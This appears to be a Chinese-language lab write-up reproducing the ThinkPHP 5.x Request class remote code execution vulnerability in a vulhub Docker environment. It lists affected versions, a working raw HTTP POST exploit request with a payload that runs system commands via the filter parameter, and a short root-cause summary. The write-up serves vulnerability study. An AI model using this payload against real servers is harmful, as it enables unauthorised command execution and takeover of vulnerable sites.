[漏洞复现]ThinkPHP5 核心类 Request 远程代码执行

ThinkPHP 5.x 核心类 Request 远程代码执行漏洞复现

影响版本：

ThinkPHP 5.0.x ~ 5.0.23

ThinkPHP 5.1.x ~ 5.1.31

ThinkPHP 5.2.0beta1

环境：

vulhub-master/thinkphp/5.0.23-rce

启动docker环境之后，访问:

http://ip:8080/

POC:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.17.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

将get包转换为POST包，地址为/index.php?s=captcha，需添加s参数。

POST data为：

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

将执行id命令。

ls命令：

写文件：

成功访问：

总结：

漏洞本质上是变量覆盖漏洞，在一处存在缺陷的方法中没有对用户输入做严格判断，通过传递_method参数覆盖了配置文件的_method，导致可以访问Request类的任意函数，而在Request的构造函数中又创建了恶意的成员变量，导致后面的命令执行

复现过程参考：

ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析 )

ThinkPHP5 核心类 Request 远程代码漏洞分析 (seebug.org)